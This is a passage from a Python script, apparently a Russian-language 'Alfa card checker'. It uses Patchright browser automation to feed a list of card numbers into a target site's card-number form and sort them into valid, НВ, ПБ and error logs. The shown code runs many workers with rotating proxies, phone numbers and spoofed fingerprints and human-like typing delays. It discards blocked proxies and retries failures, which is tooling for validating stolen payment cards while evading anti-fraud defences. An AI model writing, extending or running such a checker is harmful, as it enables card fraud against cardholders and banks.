                print(f"{Style.DIM}[worker {worker_id}] кнопка Продолжить всё ещё видна, перезагружаем страницу{Style.RESET_ALL}")
        try:
            await page.reload(wait_until="networkidle", timeout=NAV_TIMEOUT_MS)
        except Exception:
            return "blocked", None
        await page.wait_for_timeout(random.randint(1000, 1500))
        await dismiss_incognito(page)
        card_loc = page.locator('input[aria-label="Номер карты"]').first
        try:
            await card_loc.wait_for(state="visible", timeout=8_000)
        except Exception:
            card_loc = page.locator('input[type="text"]').first
            try:
                await card_loc.wait_for(state="visible", timeout=4_000)
            except Exception:
                return "blocked", None
        await card_loc.click()
        await card_loc.fill("")
        for ch in card:
            if stop_flag[0]:
                return "skip", None
            await card_loc.type(ch, delay=random.randint(*TYPING_DELAY_MS))
        await asyncio.sleep(0.5)
        btn = page.locator('button:has-text("Продолжить")').first
        try:
            await btn.wait_for(state="visible", timeout=5_000)
        except Exception:
            await card_loc.press("Enter")
            btn = None
        if btn is not None:
            for _ in range(10):
                try:
                    is_disabled = await btn.evaluate("b => b.disabled")
                    if not is_disabled:
                        break
                except Exception:
                    pass
                await asyncio.sleep(0.3)
            try:
                await btn.click()
            except Exception:
                await card_loc.press("Enter")
        for _ in range(16):
            await asyncio.sleep(0.5)
            try:
                body = await page.locator("body").inner_text(timeout=3_000)
            except Exception:
                body = ""
            st = detect_state(body, page.url)
            if st:
                if st == "valid":
                    return await wait_for_valid_last4(page)
                return st, None

    return "blocked", None

async def worker(worker_id: int, browser: Browser, queue: asyncio.Queue, proxies: list[str], phones: list[str], stop_flag: list):
    proxy_pool = proxies.copy()

    while not stop_flag[0]:
        try:
            card, line = queue.get_nowait()
        except asyncio.QueueEmpty:
            break

        cs = f"{card[:4]}...{card[-4:]}"
        success = False

        for attempt in range(1, MAX_ATTEMPTS + 1):
            if stop_flag[0]:
                return
            phone = random.choice(phones)

            context = None
            page = None
            try:
                if not proxy_pool:
                    break
                proxy = random.choice(proxy_pool)
                try:
                    context, page = await new_context(browser, proxy, pick_fingerprint(), worker_id=worker_id)
                except Exception as e:
                    if VERBOSE_ERRORS:
                        async with print_lock:
                            print(f"{Style.DIM}[worker {worker_id}] ошибка создания контекста: {e}, удаляем прокси{Style.RESET_ALL}")
                    if proxy in proxy_pool:
                        proxy_pool.remove(proxy)
                    continue

                await reset_context_session(context, page)
                result, extra = await check_card(page, phone, card, stop_flag, worker_id)

                if result == "skip":
                    return
                if result == "blocked":
                    if VERBOSE_ERRORS:
                        async with print_lock:
                            print(f"{Style.DIM}[worker {worker_id}] {cs} попытка {attempt}/{MAX_ATTEMPTS}: blocked, меняем прокси{Style.RESET_ALL}")
                    if proxy in proxy_pool:
                        proxy_pool.remove(proxy)
                    await safe_close_context(context)
                    continue

                if result == "valid":
                    last4 = extra if extra and extra != "0000" else "????"
                    await log_valid(last4, card, line)
                    success = True
                    break
                if result == "nv":
                    await log_nv(card, line)
                    success = True
                    break
                if result == "pb":
                    await log_pb(card, line)
                    success = True
                    break

                if VERBOSE_ERRORS:
                    async with print_lock:
                        print(f"{Style.DIM}[worker {worker_id}] {cs} попытка {attempt}: неожиданный результат {result}{Style.RESET_ALL}")
                await safe_close_context(context)
            except (PWTimeoutError, PWError, OSError) as e:
                if stop_flag[0]:
                    return
                err_text = str(e).splitlines()[0]
                if VERBOSE_ERRORS:
                    async with print_lock:
                        print(f"{Style.DIM}[worker {worker_id}] {cs} попытка {attempt}/{MAX_ATTEMPTS} PW: {type(e).__name__}: {err_text[:140]}{Style.RESET_ALL}")
                if proxy in proxy_pool:
                    proxy_pool.remove(proxy)
                await safe_close_context(context)
            except Exception as e:
                if stop_flag[0]:
                    return
                if VERBOSE_ERRORS:
                    async with print_lock:
                        print(f"{Style.DIM}[worker {worker_id}] {cs} попытка {attempt} exc: {e!r}{Style.RESET_ALL}")
                await safe_close_context(context)
            finally:
                context = None
                page = None

        if not success and not stop_flag[0]:
            await log_error(card, line, f"не удалось за {MAX_ATTEMPTS} попыток")
        await asyncio.sleep(random.uniform(*INTER_CHECK_DELAY))

async def recheck_errors(browser: Browser, proxies: list[str], phones: list[str], stop_flag: list):
    err_path = os.path.join(RESULTS_DIR, "errors.txt")
    if not os.path.exists(err_path):
        return
    raw_lines = []
    with open(err_path, encoding="utf-8") as f:
        for line in f:
            line = line.strip()
            if not line:
                continue
            raw_lines.append(line.split("|")[0].strip())
    if not raw_lines:
        return
    with open(err_path, "w", encoding="utf-8"):
        pass
    tasks = []
    for line in raw_lines:
        tasks.extend(extract_cards(line))
    if not tasks:
        return
    q = asyncio.Queue()
    for t in tasks:
        await q.put(t)
    wtasks = []
    nw = min(THREADS, len(tasks))
    for i in range(nw):
        if stop_flag[0]:
            break
        wtasks.append(asyncio.create_task(worker(i, browser, q, proxies, phones, stop_flag)))
        if i < nw - 1:
            try:
                await asyncio.sleep(WORKER_START_DELAY)
            except asyncio.CancelledError:
                break
    if wtasks:
        await asyncio.gather(*wtasks, return_exceptions=True)

async def main():
    if not TARGET_URL:
        print(f"{Fore.RED}TARGET не задан в .env{Style.RESET_ALL}")
        return
    phones = load_phones()
    proxies = load_proxies()
    if not phones:
        print(f"{Fore.RED}phones.txt не найден или пуст{Style.RESET_ALL}")
        return
    if not proxies:
        print(f"{Fore.RED}proxy.txt пуст{Style.RESET_ALL}")
        return
    all_tasks = load_tasks()
    checked = load_checked()
    pending = [(c, l) for c, l in all_tasks if c not in checked]
    skipped = len(all_tasks) - len(pending)
    stats.all = len(pending)
    print(f"\n{Style.BRIGHT}{Fore.CYAN}{'='*52}{Style.RESET_ALL}")
    print(f"{Style.BRIGHT}{Fore.CYAN}  Альфа Кард Чекер  .  Patchright{Style.RESET_ALL}")
    print(f"{Style.BRIGHT}{Fore.CYAN}{'='*52}{Style.RESET_ALL}")
    print(f"  Карт в strock.txt  : {Fore.WHITE}{len(all_tasks)}{Style.RESET_ALL}")
    print(f"  Уже проверено      : {Fore.WHITE}{skipped}{Style.RESET_ALL}")
    print(f"  Осталось           : {Fore.WHITE}{len(pending)}{Style.RESET_ALL}")
    print(f"  Телефонов          : {Fore.WHITE}{len(phones)}{Style.RESET_ALL}")
    print(f"  Прокси (всего)     : {Fore.WHITE}{len(proxies)}{Style.RESET_ALL}")
    print(f"  Потоков            : {Fore.WHITE}{THREADS}{Style.RESET_ALL}")
    print(f"  Fingerprints       : {Fore.WHITE}{len(FINGERPRINTS)}{Style.RESET_ALL}")
    print(f"{Style.BRIGHT}{Fore.CYAN}{'='*52}{Style.RESET_ALL}")
    print(f"  {Fore.GREEN}VALID  {Fore.RED}НВ  {Fore.YELLOW}ПБ  {Fore.LIGHTBLACK_EX}ERR{Style.RESET_ALL}")
    print(f"{Style.BRIGHT}{Fore.CYAN}{'='*52}{Style.RESET_ALL}\n")
    if not pending:
        print(f"{Fore.YELLOW}Все карты уже проверены.{Style.RESET_ALL}")
        return
    stats.start_time = datetime.now()
    q = asyncio.Queue()
    for item in pending:
        await q.put(item)
    stop_flag = [False]
    wtasks = []
    loop = asyncio.get_running_loop()
    sigint_count = [0]

    def shutdown(sig_name: str):
        sigint_count[0] += 1
        if sigint_count[0] == 1:
            print(f"\n{Fore.YELLOW}[{ts()}] {sig_name} — завершаем… (Ctrl+C ещё раз = форс){Style.RESET_ALL}")
            stop_flag[0] = True
            for t in wtasks:
                if not t.done():
                    t.cancel()
        else:
            print(f"\n{Fore.RED}Форс-выход{Style.RESET_ALL}")
            os._exit(130)

    def on_signal(sig):
        shutdown(signal.Signals(sig).name)

    for sig in (signal.SIGINT, signal.SIGTERM):
        try:
            loop.add_signal_handler(sig, on_signal, sig)
        except (NotImplementedError, OSError):
            signal.signal(sig, lambda s, f: on_signal(s))

    async with async_playwright() as pw:
        browser = await pw.chromium.launch(headless=HEADLESS, channel="chrome")
        nw = min(THREADS, len(pending))
        for i in range(nw):
            if stop_flag[0]:
                break
            wtasks.append(asyncio.create_task(worker(i, browser, q, proxies.copy(), phones, stop_flag)))
            if i < nw - 1:
                try:
                    await asyncio.sleep(WORKER_START_DELAY)
                except asyncio.CancelledError:
                    break
        await asyncio.gather(*wtasks, return_exceptions=True)
        if not stop_flag[0]:
            print(f"\n{Fore.CYAN}Перепроверка ошибок…{Style.RESET_ALL}\n")
            await recheck_errors(browser, proxies, phones, stop_flag)
        try:
            await browser.close()
        except Exception:
            pass

    elapsed = datetime.now() - stats.start_time
    m, s = divmod(int(elapsed.total_seconds()), 60)
    stopped = f" {Fore.YELLOW}(остановлено){Style.RESET_ALL}" if stop_flag[0] else ""
    print(f"\n{Style.BRIGHT}{Fore.CYAN}{'='*52}{Style.RESET_ALL}")
    print(f"{Style.BRIGHT}{Fore.CYAN}  Готово за {m}м {s}с{Style.RESET_ALL}{stopped}")
    print(f"{Style.BRIGHT}{Fore.CYAN}{'='*52}{Style.RESET_ALL}")
    print(f"  {Fore.GREEN}VALID    : {stats.valid}{Style.RESET_ALL}")
    print(f"  {Fore.RED}НВ       : {stats.nv}{Style.RESET_ALL}")
    print(f"  {Fore.YELLOW}ПБ       : {stats.pb}{Style.RESET_ALL}")
    print(f"  {Fore.LIGHTBLACK_EX}ОШИБКИ   : {stats.errors}{Style.RESET_ALL}")
    print(f"  Скорость    : {await stats.speed}/мин")
    print(f"{Style.BRIGHT}{Fore.CYAN}{'='*52}{Style.RESET_ALL}\n")

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print(f"\n{Fore.YELLOW}Остановлено.{Style.RESET_ALL}\n")
    except Exception as e:
        print(f"\n{Fore.RED}Критическая ошибка: {e}{Style.RESET_ALL}\n")
        raise